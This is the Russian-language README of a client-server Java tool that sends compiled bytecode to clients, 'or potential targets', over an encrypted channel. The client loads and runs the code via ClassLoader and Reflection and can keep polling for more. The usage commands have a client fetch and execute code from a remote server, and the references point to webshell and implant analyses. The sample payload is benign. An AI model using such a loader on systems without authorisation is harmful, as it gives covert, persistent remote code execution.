
Клиент-серверный инструмент для удаленной загрузки и выполнения Java-байткода через ClassLoader и Reflect API, с шифрованием ChaCha20 и поддержанием соединения.
Этот инструмент позволяет отправлять Java-байткод в виде class-файлов вашим клиентам (или потенциальным целям) для загрузки и выполнения с помощью Java ClassLoader и Reflect API. Клиент получает class-файл от сервера и возвращает результат выполнения. Полезные нагрузки должны быть написаны на Java и скомпилированы до запуска сервера.
Инструмент протестирован с OpenJDK 11 и пакетом JRE Java как на Windows, так и на Linux (портативная zip-версия). Версия Java должна быть 11 или выше из-за зависимостей.
https://www.openlogic.com/openjdk-downloads
$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server
Предположим, у вас есть следующая полезная нагрузка "Hello World" в файле Payload.java:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
Затем её нужно скомпилировать и получить соответствующий файл Payload.class.
Для запуска серверного процесса, прослушивающего порт 1337 на всех сетевых интерфейсах:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
На стороне клиента можно использовать тот же JAR-пакет с флагом -client и симметричным ключом, сгенерированным сервером.
Укажите IP-адрес и порт сервера для подключения. Также можно изменить имя класса и имя метода (по умолчанию используются Payload и String exec() соответственно). Дополнительно можно указать -keepalive, чтобы клиент продолжал запрашивать class-файл с сервера, поддерживая соединение.
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server
Обратитесь к https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ за статьёй, связанной с разработкой этого инструмента.
https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
https://venishjoe.net/post/dynamically-load-compiled-java-class/
https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html